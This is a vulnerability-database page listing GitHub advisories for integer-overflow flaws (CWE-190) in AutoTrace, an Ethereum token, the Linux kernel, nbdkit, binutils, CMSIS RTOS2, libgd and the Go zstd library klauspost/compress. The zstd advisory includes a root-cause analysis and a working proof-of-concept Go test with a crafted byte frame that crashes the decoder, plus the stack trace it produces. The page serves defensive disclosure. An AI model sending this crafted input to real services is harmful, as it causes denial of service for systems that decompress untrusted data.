CWE-190
AllowedInteger Overflow or Wraparound
Abstraction: Base · Status: Stable
The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.
4664 vulnerabilities reference this CWE, most recent first.
GHSA-FP8V-6MMP-XHFP
Vulnerability from github – Published: 2022-05-17 02:43 – Updated: 2025-04-20 03:38libautotrace.a in AutoTrace 0.31.1 has a "cannot be represented in type int" issue in input-tga.c:508:18.
{
"affected": [],
"aliases": [
"CVE-2017-9198"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-05-23T04:29:00Z",
"severity": "CRITICAL"
},
"details": "libautotrace.a in AutoTrace 0.31.1 has a \"cannot be represented in type int\" issue in input-tga.c:508:18.",
"id": "GHSA-fp8v-6mmp-xhfp",
"modified": "2025-04-20T03:38:10Z",
"published": "2022-05-17T02:43:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9198"
},
{
"type": "WEB",
"url": "https://blogs.gentoo.org/ago/2017/05/20/autotrace-multiple-vulnerabilities-the-autotrace-nightmare"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FPCP-VG5Q-XXWJ
Vulnerability from github – Published: 2022-05-14 03:01 – Updated: 2022-05-14 03:01The mintToken function of a smart contract implementation for Coquinho Coin (CQNC) (Contract Name: CoquinhoERC20), an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.
{
"affected": [],
"aliases": [
"CVE-2018-13550"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-09T06:29:00Z",
"severity": "HIGH"
},
"details": "The mintToken function of a smart contract implementation for Coquinho Coin (CQNC) (Contract Name: CoquinhoERC20), an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.",
"id": "GHSA-fpcp-vg5q-xxwj",
"modified": "2022-05-14T03:01:42Z",
"published": "2022-05-14T03:01:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13550"
},
{
"type": "WEB",
"url": "https://github.com/BlockChainsSecurity/EtherTokens/blob/master/GEMCHAIN/mint%20integer%20overflow.md"
},
{
"type": "WEB",
"url": "https://github.com/BlockChainsSecurity/EtherTokens/tree/master/ERC20"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FPF5-XW2P-F3M5
Vulnerability from github – Published: 2024-07-12 15:31 – Updated: 2025-11-04 00:30In the Linux kernel, the following vulnerability has been resolved:
ptp: fix integer overflow in max_vclocks_store
On 32bit systems, the "4 * max" multiply can overflow. Use kcalloc() to do the allocation to prevent this.
{
"affected": [],
"aliases": [
"CVE-2024-40994"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-12T13:15:20Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nptp: fix integer overflow in max_vclocks_store\n\nOn 32bit systems, the \"4 * max\" multiply can overflow. Use kcalloc()\nto do the allocation to prevent this.",
"id": "GHSA-fpf5-xw2p-f3m5",
"modified": "2025-11-04T00:30:57Z",
"published": "2024-07-12T15:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40994"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/4b03da87d0b7074c93d9662c6e1a8939f9b8b86e"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/666e934d749e50a37f3796caaf843a605f115b6f"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/81d23d2a24012e448f651e007fac2cfd20a45ce0"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/d50d62d5e6ee6aa03c00bddb91745d0b632d3b0f"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e1fccfb4638ee6188377867f6015d0ce35764a8e"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FPFC-3GJG-HFHP
Vulnerability from github – Published: 2025-06-09 06:30 – Updated: 2025-07-29 21:30A flaw exists in the nbdkit "blocksize" filter that can be triggered by a specific type of client request. When a client requests block status information for a very large data range, exceeding a certain limit, it causes an internal error in the nbdkit, leading to a denial of service.
{
"affected": [],
"aliases": [
"CVE-2025-47712"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-09T06:15:25Z",
"severity": "MODERATE"
},
"details": "A flaw exists in the nbdkit \"blocksize\" filter that can be triggered by a specific type of client request. When a client requests block status information for a very large data range, exceeding a certain limit, it causes an internal error in the nbdkit, leading to a denial of service.",
"id": "GHSA-fpfc-3gjg-hfhp",
"modified": "2025-07-29T21:30:35Z",
"published": "2025-06-09T06:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47712"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-47712"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2365724"
},
{
"type": "WEB",
"url": "https://lists.libguestfs.org/archives/list/guestfs@lists.libguestfs.org/thread/67E7AASHHADIY7VAD3FFW2I67LTWVWYF"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-FPH9-6334-PQP7
Vulnerability from github – Published: 2022-05-13 01:30 – Updated: 2022-05-13 01:30The parse_die function in dwarf1.c in the Binary File Descriptor (BFD) library (aka libbfd), as distributed in GNU Binutils 2.30, allows remote attackers to cause a denial of service (integer overflow and application crash) via an ELF file with corrupt dwarf1 debug information, as demonstrated by nm.
{
"affected": [],
"aliases": [
"CVE-2018-7568"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-28T21:29:00Z",
"severity": "MODERATE"
},
"details": "The parse_die function in dwarf1.c in the Binary File Descriptor (BFD) library (aka libbfd), as distributed in GNU Binutils 2.30, allows remote attackers to cause a denial of service (integer overflow and application crash) via an ELF file with corrupt dwarf1 debug information, as demonstrated by nm.",
"id": "GHSA-fph9-6334-pqp7",
"modified": "2022-05-13T01:30:46Z",
"published": "2022-05-13T01:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7568"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHBA-2019:0327"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:3032"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201811-17"
},
{
"type": "WEB",
"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=22894"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00072.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-11/msg00008.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FPHH-2884-975G
Vulnerability from github – Published: 2022-05-04 00:00 – Updated: 2022-05-14 00:03ARM CMSIS RTOS2 versions prior to 2.1.3 are vulnerable to integer wrap-around inosRtxMemoryAlloc (local malloc equivalent) function, which can lead to arbitrary memory allocation, resulting in unexpected behavior such as a crash or injected code execution.
{
"affected": [],
"aliases": [
"CVE-2021-27431"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-03T21:15:00Z",
"severity": "CRITICAL"
},
"details": "ARM CMSIS RTOS2 versions prior to 2.1.3 are vulnerable to integer wrap-around inosRtxMemoryAlloc (local malloc equivalent) function, which can lead to arbitrary memory allocation, resulting in unexpected behavior such as a crash or injected code execution.",
"id": "GHSA-fphh-2884-975g",
"modified": "2022-05-14T00:03:29Z",
"published": "2022-05-04T00:00:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27431"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-119-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FPHP-JMFP-4VJ9
Vulnerability from github – Published: 2022-05-14 01:27 – Updated: 2022-05-14 01:27Integer overflow in the gdImageWebpCtx function in gd_webp.c in the GD Graphics Library (aka libgd) through 2.2.3, as used in PHP through 7.0.11, allows remote attackers to cause a denial of service (heap-based buffer overflow) or possibly have unspecified other impact via crafted imagewebp and imagedestroy calls.
{
"affected": [],
"aliases": [
"CVE-2016-7568"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-09-28T20:59:00Z",
"severity": "CRITICAL"
},
"details": "Integer overflow in the gdImageWebpCtx function in gd_webp.c in the GD Graphics Library (aka libgd) through 2.2.3, as used in PHP through 7.0.11, allows remote attackers to cause a denial of service (heap-based buffer overflow) or possibly have unspecified other impact via crafted imagewebp and imagedestroy calls.",
"id": "GHSA-fphp-jmfp-4vj9",
"modified": "2022-05-14T01:27:55Z",
"published": "2022-05-14T01:27:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7568"
},
{
"type": "WEB",
"url": "https://github.com/libgd/libgd/issues/308"
},
{
"type": "WEB",
"url": "https://github.com/libgd/libgd/commit/40bec0f38f50e8510f5bb71a82f516d46facde03"
},
{
"type": "WEB",
"url": "https://github.com/php/php-src/commit/c18263e0e0769faee96a5d0ee04b750c442783c6"
},
{
"type": "WEB",
"url": "https://bugs.php.net/bug.php?id=73003"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201612-09"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2016/dsa-3693"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93184"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FPMH-FRQ8-7RJ8
Vulnerability from github – Published: 2026-10-27 15:38 – Updated: 2026-10-27 15:38Summary
A crafted ~27 KB two-block zstd frame makes DecodeAll and the streaming decoder panic with an out-of-range slice index instead of returning a decode error. The same bytes decode fine with the reference zstd. Any program that decompresses untrusted zstd input can be crashed by it. Reproduced on v1.20.0 and v1.20.1.
Released in https://github.com/klauspost/compress/releases/tag/v1.20.2
Details
The panic is in the FSE decoder that huff0.ReadTable uses to read a block's Huffman-weight table. Three conditions have to hold at once, and the crafted frame arranges all three.
1. A count that doesn't fit is accepted. readNCount permits a tableLog up to 15 (tablelogAbsoluteMax, checked at fse/decompress.go:54), so a symbol's normalized count can reach 32768 (2^15). The count is stored in an int16 at fse/decompress.go:126, where 32768 wraps to −32768. The validation only looks at the int32 running totals (remaining and gotTotal), which still match, so the bad value passes. The crafted second block produces norm = [0, -32768], symbolLen = 2.
2. The decode table is built empty, with no error. In buildDtable, −32768 isn't the −1 that flags a low-probability symbol, so it skips that branch, and the spread loop for i := 0; i < int(v); i++ runs zero times for a negative v. position never advances, so the position != 0 guard passes as well.
3. Stale state from the previous block is reused. huff0 shares one fse.Scratch across both blocks, and allocDtable reuses decTable and ct.stateTable without clearing them. So the table is rebuilt on top of block 1's symbols and symbolNext values. Many cells end up with nbBits == 0, because the leftover nextState is ≥ 32768.
At decode time, every symbol's count is below largeLimit, so zeroBits stays false and decompress takes the nextFast path. On a cell with nbBits == 0, getBitsFast(0) shifts by (64-0)&63 == 0 and returns the low 16 bits of the whole register instead of 0. The state runs past the end of the table, and d.dt[d.state] panics:
panic: runtime error: index out of range [33077] with length 32768
Both blocks are needed. With a fresh Scratch, every cell would be symbol 0 with symbolNext 0, highBits(0) would underflow, newState would reach 32768, and the newState >= tableSize guard would return an error. Block 1's leftover state is what carries the malformed table past that guard.
The underlying bug is the int16 storage combined with a tableLog allowed to reach 15. The C reference uses short too, but caps the FSE tableLog at 12 and the Huffman-weight tableLog at 6, so the count never wraps. huff0.ReadTable doesn't enforce that 6-bit bound.
A fix: reject a count of 1<<15 (or nbBits > 14) in readNCount, and enforce the weight-table tableLog in huff0. Clearing the reused table would also turn the panic into an error.
Proof of concept
Run the following repro:
package compression
import (
"bytes"
"slices"
"testing"
"github.com/klauspost/compress/zstd"
"github.com/stretchr/testify/require"
)
func TestDecodeAll(t *testing.T) {
// zstdFSEPanic is a crafted two-block zstd frame that makes
// github.com/klauspost/compress (v1.20.0 and v1.20.1) panic with an
// out-of-range index in fse.nextFast rather than returning an error. Cross-block
// FSE table-state carryover lets the second block's malformed Huffman-weight
// table pass the decoder's guard and overflow the decode table.
zstdFSEPanic := slices.Concat(
[]byte{0x28, 0xb5, 0x2f, 0xfd, 0x00, 0x38, 0x74, 0x06, 0x00, 0x42, 0xb8, 0x32, 0x0d, 0x1a, 0x00, 0x00, 0x00, 0x90, 0xaf, 0xfa, 0xff, 0x03, 0x00, 0x80, 0xff, 0x7f},
bytes.Repeat([]byte{0xa5, 0x94, 0x52, 0x4a, 0x29}, 37),
[]byte{0xa5, 0x94, 0x12, 0x00, 0xad, 0x56, 0x03, 0xee, 0xff, 0xdf, 0xb3, 0x1a, 0x1c, 0x1a, 0x00, 0xe0, 0xff, 0x1f, 0x0f, 0xb1, 0x9c, 0x5a, 0xcf, 0x4d, 0xe4, 0x1d, 0x7b, 0xab, 0x99, 0x5e, 0x01, 0x51, 0xa4, 0x73, 0xd8, 0xb1, 0xf3, 0x39, 0x4b, 0x67, 0xf6, 0xab, 0x1a, 0xab, 0x1a, 0xab, 0x1a},
bytes.Repeat([]byte{0x8c, 0x31, 0xc6, 0x18, 0x63}, 1365),
[]byte{0x8c, 0x31},
bytes.Repeat([]byte{0x63, 0x8c, 0x31, 0xc6, 0x18}, 1365),
[]byte{0x63, 0x2c},
bytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),
[]byte{0x31, 0x46},
bytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),
[]byte{0x31, 0x06, 0x00},
)
decoder, err := zstd.NewReader(nil)
require.NoError(t, err)
dst := make([]byte, 100*1024)
_, err = decoder.DecodeAll(zstdFSEPanic, dst)
require.NoError(t, err)
}
Outputs:
panic: runtime error: index out of range [33077] with length 32768 [recovered, repanicked]
goroutine 36 [running]:
testing.tRunner.func1.2({0x100c2b7c0, 0x2472599b62a0})
/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1974 +0x1a0
testing.tRunner.func1()
/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1977 +0x318
panic({0x100c2b7c0?, 0x2472599b62a0?})
/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/runtime/panic.go:860 +0x12c
github.com/klauspost/compress/fse.(*decoder).nextFast(...)
/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:372
github.com/klauspost/compress/fse.(*Scratch).decompress(0x247259981008)
/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:280 +0xa08
github.com/klauspost/compress/fse.Decompress({0x247259ab60e0?, 0x0?, 0x0?}, 0x1007c839c?)
/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:33 +0x64
github.com/klauspost/compress/huff0.ReadTable({0x247259ab60df, 0x6acf, 0x6f21}, 0x1007899f8?)
/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/huff0/decompress.go:61 +0x130
github.com/klauspost/compress/zstd.(*blockDec).decodeLiterals(0x247259aa42d0, {0x247259ab60da?, 0x19384?, 0x20000?}, 0x247259a9a958)
/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:446 +0x550
github.com/klauspost/compress/zstd.(*blockDec).decodeCompressed(0x247259aa42d0, 0x247259a9a958)
/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:480 +0x34
github.com/klauspost/compress/zstd.(*blockDec).decodeBuf(0x247259aa42d0, 0x247259a9a958)
/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:256 +0x20c
github.com/klauspost/compress/zstd.(*frameDec).runDecoder(0x247259a9a908, {0x247259ac6000?, 0x19000, 0x129ca3800?}, 0x247259aa42d0)
/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/framedec.go:371 +0x170
github.com/klauspost/compress/zstd.(*Decoder).DecodeAll(0x247259aa41e0, {0x247259ab6000, 0x6baf, 0x7000}, {0x247259ac6000, 0x19000, 0x19000})
/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/decoder.go:395 +0x410
github.com/ava-labs/avalanchego/utils/compression.TestDecodeAll(0x247259a9a6c8)
/Users/joshua.kim/workspace/avalanchego/utils/compression/zstd_fse_panic_test.go:40 +0x498
testing.tRunner(0x247259a9a6c8, 0x100c4ae80)
/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2036 +0xc4
created by testing.(*T).Run in goroutine 1
/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2101 +0x3a8
Impact
This is a panic that callers cannot guard against with error handling. This should be a DOS for most users.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.20.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/klauspost/compress/zstd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.20.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-116591"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-27T15:38:14Z",
"nvd_published_at": "2026-10-26T22:16:55Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA crafted ~27 KB two-block zstd frame makes DecodeAll and the streaming decoder panic with an out-of-range slice index instead of returning a decode error. The same bytes decode fine with the reference zstd. Any program that decompresses untrusted zstd input can be crashed by it. Reproduced on v1.20.0 and v1.20.1.\n\nReleased in https://github.com/klauspost/compress/releases/tag/v1.20.2\n\n### Details\n\n The panic is in the FSE decoder that `huff0.ReadTable` uses to read a block\u0027s Huffman-weight table. Three conditions have to hold at once, and the crafted frame arranges all three.\n\n **1. A count that doesn\u0027t fit is accepted.** `readNCount` permits a tableLog up to 15 ([`tablelogAbsoluteMax`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L9), checked at [`fse/decompress.go:54`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L54)), so a symbol\u0027s normalized count can reach 32768 (2^15). The count is stored in an `int16` at [`fse/decompress.go:126`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L126), where 32768 wraps to \u221232768. The validation only looks at the `int32` running totals (`remaining` and `gotTotal`), which still match, so the bad value passes. The crafted second block produces `norm = [0, -32768]`, `symbolLen = 2`.\n\n **2. The decode table is built empty, with no error.** In `buildDtable`, \u221232768 isn\u0027t the \u22121 that flags a low-probability symbol, so it skips that branch, and the spread loop [`for i := 0; i \u003c int(v); i++`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L221) runs zero times for a negative `v`. `position` never advances, so the [`position != 0`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L230) guard passes as well.\n\n **3. Stale state from the previous block is reused.** `huff0` shares one `fse.Scratch` across both blocks, and [`allocDtable`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L173-L189) reuses `decTable` and `ct.stateTable` without clearing them. So the table is rebuilt on top of block 1\u0027s symbols and `symbolNext` values. Many cells end up with `nbBits == 0`, because the leftover `nextState` is \u2265 32768.\n\n At decode time, every symbol\u0027s count is below `largeLimit`, so `zeroBits` stays false and `decompress` takes the [`nextFast`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L371) path. On a cell with `nbBits == 0`, [`getBitsFast(0)`](https://github.com/klauspost/compress/blob/v1.20.0/fse/bitreader.go#L58-L63) shifts by `(64-0)\u002663 == 0` and returns the low 16 bits of the whole register instead of 0. The state runs past the end of the table, and [`d.dt[d.state]`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L372) panics:\n\n ```\n panic: runtime error: index out of range [33077] with length 32768\n ```\n\n Both blocks are needed. With a fresh `Scratch`, every cell would be symbol 0 with `symbolNext 0`, `highBits(0)` would underflow, `newState` would reach 32768, and the [`newState \u003e= tableSize`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L246) guard would return an error. Block 1\u0027s leftover state is what carries the malformed table past that guard.\n\n The underlying bug is the `int16` storage combined with a tableLog allowed to reach 15. The C reference uses `short` too, but caps the FSE tableLog at 12 and the Huffman-weight tableLog at 6, so the count never wraps. `huff0.ReadTable` doesn\u0027t enforce that 6-bit bound.\n\n A fix: reject a count of `1\u003c\u003c15` (or `nbBits \u003e 14`) in `readNCount`, and enforce the weight-table tableLog in `huff0`. Clearing the reused table would also turn the panic into an error.\n\n\n### Proof of concept\n\nRun the following repro:\n\n```\npackage compression\n\nimport (\n\t\"bytes\"\n\t\"slices\"\n\t\"testing\"\n\n\t\"github.com/klauspost/compress/zstd\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDecodeAll(t *testing.T) {\n\t// zstdFSEPanic is a crafted two-block zstd frame that makes\n\t// github.com/klauspost/compress (v1.20.0 and v1.20.1) panic with an\n\t// out-of-range index in fse.nextFast rather than returning an error. Cross-block\n\t// FSE table-state carryover lets the second block\u0027s malformed Huffman-weight\n\t// table pass the decoder\u0027s guard and overflow the decode table.\n\tzstdFSEPanic := slices.Concat(\n\t\t[]byte{0x28, 0xb5, 0x2f, 0xfd, 0x00, 0x38, 0x74, 0x06, 0x00, 0x42, 0xb8, 0x32, 0x0d, 0x1a, 0x00, 0x00, 0x00, 0x90, 0xaf, 0xfa, 0xff, 0x03, 0x00, 0x80, 0xff, 0x7f},\n\t\tbytes.Repeat([]byte{0xa5, 0x94, 0x52, 0x4a, 0x29}, 37),\n\t\t[]byte{0xa5, 0x94, 0x12, 0x00, 0xad, 0x56, 0x03, 0xee, 0xff, 0xdf, 0xb3, 0x1a, 0x1c, 0x1a, 0x00, 0xe0, 0xff, 0x1f, 0x0f, 0xb1, 0x9c, 0x5a, 0xcf, 0x4d, 0xe4, 0x1d, 0x7b, 0xab, 0x99, 0x5e, 0x01, 0x51, 0xa4, 0x73, 0xd8, 0xb1, 0xf3, 0x39, 0x4b, 0x67, 0xf6, 0xab, 0x1a, 0xab, 0x1a, 0xab, 0x1a},\n\t\tbytes.Repeat([]byte{0x8c, 0x31, 0xc6, 0x18, 0x63}, 1365),\n\t\t[]byte{0x8c, 0x31},\n\t\tbytes.Repeat([]byte{0x63, 0x8c, 0x31, 0xc6, 0x18}, 1365),\n\t\t[]byte{0x63, 0x2c},\n\t\tbytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),\n\t\t[]byte{0x31, 0x46},\n\t\tbytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),\n\t\t[]byte{0x31, 0x06, 0x00},\n\t)\n\n\tdecoder, err := zstd.NewReader(nil)\n\trequire.NoError(t, err)\n\n\tdst := make([]byte, 100*1024)\n\t_, err = decoder.DecodeAll(zstdFSEPanic, dst)\n\trequire.NoError(t, err)\n}\n```\n\nOutputs:\n```\npanic: runtime error: index out of range [33077] with length 32768 [recovered, repanicked]\n\ngoroutine 36 [running]:\ntesting.tRunner.func1.2({0x100c2b7c0, 0x2472599b62a0})\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1974 +0x1a0\ntesting.tRunner.func1()\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1977 +0x318\npanic({0x100c2b7c0?, 0x2472599b62a0?})\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/runtime/panic.go:860 +0x12c\ngithub.com/klauspost/compress/fse.(*decoder).nextFast(...)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:372\ngithub.com/klauspost/compress/fse.(*Scratch).decompress(0x247259981008)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:280 +0xa08\ngithub.com/klauspost/compress/fse.Decompress({0x247259ab60e0?, 0x0?, 0x0?}, 0x1007c839c?)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:33 +0x64\ngithub.com/klauspost/compress/huff0.ReadTable({0x247259ab60df, 0x6acf, 0x6f21}, 0x1007899f8?)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/huff0/decompress.go:61 +0x130\ngithub.com/klauspost/compress/zstd.(*blockDec).decodeLiterals(0x247259aa42d0, {0x247259ab60da?, 0x19384?, 0x20000?}, 0x247259a9a958)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:446 +0x550\ngithub.com/klauspost/compress/zstd.(*blockDec).decodeCompressed(0x247259aa42d0, 0x247259a9a958)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:480 +0x34\ngithub.com/klauspost/compress/zstd.(*blockDec).decodeBuf(0x247259aa42d0, 0x247259a9a958)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:256 +0x20c\ngithub.com/klauspost/compress/zstd.(*frameDec).runDecoder(0x247259a9a908, {0x247259ac6000?, 0x19000, 0x129ca3800?}, 0x247259aa42d0)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/framedec.go:371 +0x170\ngithub.com/klauspost/compress/zstd.(*Decoder).DecodeAll(0x247259aa41e0, {0x247259ab6000, 0x6baf, 0x7000}, {0x247259ac6000, 0x19000, 0x19000})\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/decoder.go:395 +0x410\ngithub.com/ava-labs/avalanchego/utils/compression.TestDecodeAll(0x247259a9a6c8)\n\t/Users/joshua.kim/workspace/avalanchego/utils/compression/zstd_fse_panic_test.go:40 +0x498\ntesting.tRunner(0x247259a9a6c8, 0x100c4ae80)\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2036 +0xc4\ncreated by testing.(*T).Run in goroutine 1\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2101 +0x3a8\n```\n\n### Impact\n\nThis is a panic that callers cannot guard against with error handling. This should be a DOS for most users.",
"id": "GHSA-fpmh-frq8-7rj8",
"modified": "2026-10-27T15:38:15Z",
"published": "2026-10-27T15:38:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/klauspost/compress/security/advisories/GHSA-fpmh-frq8-7rj8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116591"
},
{
"type": "WEB",
"url": "https://github.com/klauspost/compress/commit/7f5d8528720c895a6106f201719f87eb030a565d"
},
{
"type": "PACKAGE",
"url": "https://github.com/klauspost/compress"
},
{
"type": "WEB",
"url": "https://github.com/klauspost/compress/releases/tag/v1.20.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "compress zstd: Panic on two-block frames"
}
GHSA-FPPH-F3W3-R7WH
